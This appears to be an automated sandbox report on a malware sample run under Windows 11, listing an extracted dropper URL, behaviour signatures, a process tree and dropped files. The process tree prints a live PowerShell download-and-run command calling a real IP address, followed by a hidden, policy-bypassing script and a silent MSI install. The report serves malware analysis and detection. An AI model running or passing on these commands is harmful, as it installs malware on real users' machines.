Analysis
- user interaction
yes - max time kernel
57s - max time network
60s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
22/07/2026, 15:24
General
- Target plain.txt
- Size 103B
- Sample260722-stecfstyhv
- SHA256 0156db8cb60e336f8b6e32ab72989aefcdccd9a14ff5b79900c7df56a4df5445
Malware Config
Extracted
-
ps1
-
exe.dropper
http://193.148.56.174/dl-callback/33f259cx-s9kx4wsc-r85cgscr-ns9vhbjg/HALIEMZK.msi/1d892ac55f8621ced9001e0f2cc1d668
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious clipboard content. 1 IoCs
A suspicious script was copied to clipboard.
- Opens file in notepad (likely ransom note) 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\plain.txt1⤵
- Suspicious clipboard content.
- Opens file in notepad (likely ransom note)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(irm '193.148.56.174/4TEtdwB47FWEo8QuV6' -UseBasicParsing)"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\36693fc488c3429e924a761453e84368.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Zooms\HALIEMZK.msi /qn /norestart4⤵
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Users\Admin\AppData\Local\Will\V-Gamma.exe"C:\Users\Admin\AppData\Local\Will\V-Gamma.exe"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
e59c8a8.rbs
StartupProfileData-NonInteractive
36693fc488c3429e924a761453e84368.ps1
__PSScriptPolicyTest_j2znof0l.uuz.ps1
V-Gamma.exe
datastate.dll
madExcept_.bpl
maddisAsm_.bpl
rtl120.bpl
rtl120.bpl
sqlite3.dll
sqlite3.dll
vcl120.bpl
vcl120.bpl
vcl120.bpl
HALIEMZK.msi
memory/4760-11-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-12-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-17-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-16-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-15-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-14-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-13-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-6-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-2-0x00007FFBC8C6F000-0x00007FFBC8C70000-memory.dmp
memory/4760-10-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-9-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-8-0x0000020AF8E70000-0x0000020AF8EB8000-memory.dmp
memory/4760-7-0x00007FFBC8AE0000-0x00007FFBC9484000-memory.dmp
memory/4760-5-0x0000020AF8A80000-0x0000020AF8AA2000-memory.dmp
memory/5672-21-0x0000019770F00000-0x00000197710C2000-memory.dmp